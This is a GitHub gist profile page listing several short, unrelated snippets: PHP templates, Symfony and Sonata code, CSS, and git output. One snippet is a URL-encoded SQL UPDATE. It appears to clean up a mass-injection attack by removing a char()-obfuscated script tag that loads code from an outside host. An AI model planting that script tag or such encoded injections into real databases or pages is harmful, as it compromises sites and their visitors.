Skip to content

Instantly share code, notes, and snippets.

View worenga's full-sized avatar
🐱
i cyber.

Benedikt Christoph Wolters worenga

🐱
i cyber.
View GitHub Profile
<?php if ($items): ?>
<?php foreach ($items as $item): ?>
* <?php echo $item ?>
<?php endforeach; ?>
<?php else: ?>
No item has been found.
<?php endif; ?>
<?php if ($items): ?>
<?php foreach ($items as $item): ?>
* <?php echo $item->name ?>
<?php endforeach; ?>
<?php else: ?>
No item has been found.
<?php endif; ?>
+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--
@worenga
worenga / Nested CSS Selectors
Last active September 25, 2015 11:07
CSS without Mixin usage
#header
color #000000
#logo
color #A7A7A7
<?php
class frontendConfiguration extends sfApplicationConfiguration
{
public function configure()
{
$this->dispatcher->connect('view.configure_format', array($this, 'configureIPhoneFormat'));
}
public function configureIPhoneFormat(sfEvent $event)
{
$request = sfContext::getInstance()->getRequest();
// time to roll
// messy, but seems to work
// time for some action
// makin' stuff happen
// "I'm digging for fire" - Pixies
storage:
class: MySessionStorage
param:
session_path: my_session
@worenga
worenga / #1
Created September 26, 2011 11:34
stashing
$ git status
# On branch master
# Changes to be committed:
# (use "git reset HEAD <file>..." to unstage)
#
# modified: index.html
#
# Changed but not updated:
# (use "git add <file>..." to update what will be committed)
#
@worenga
worenga / imagettftext
Created September 28, 2011 14:13 — forked from anonymous/imagettftext
hipsterstuff
<?php
header("Content-type: image/png");
//1line per column
$text=array(0=>"THIS ISN'T",1=>"ORGANIC",2=>"AND I'M NOT",3=>"A FCKN",4=>"HIPSTER");
$largeur=350;
$line_height=50;
$hauteur=sizeof($text)*$line_height;
@worenga
worenga / gist:2176430
Created March 23, 2012 23:43 — forked from dominikzogg/gist:2135954
sonata admin daterange
->add('orderdatefrom', 'doctrine_orm_callback',
array
(
'callback' => function(\Sonata\DoctrineORMAdminBundle\Datagrid\ProxyQuery $queryBuilder, $alias, $field, $options)
{
if(!isset($options['value']) || !$options['value'])
{
return;
}
$value = $options['value'];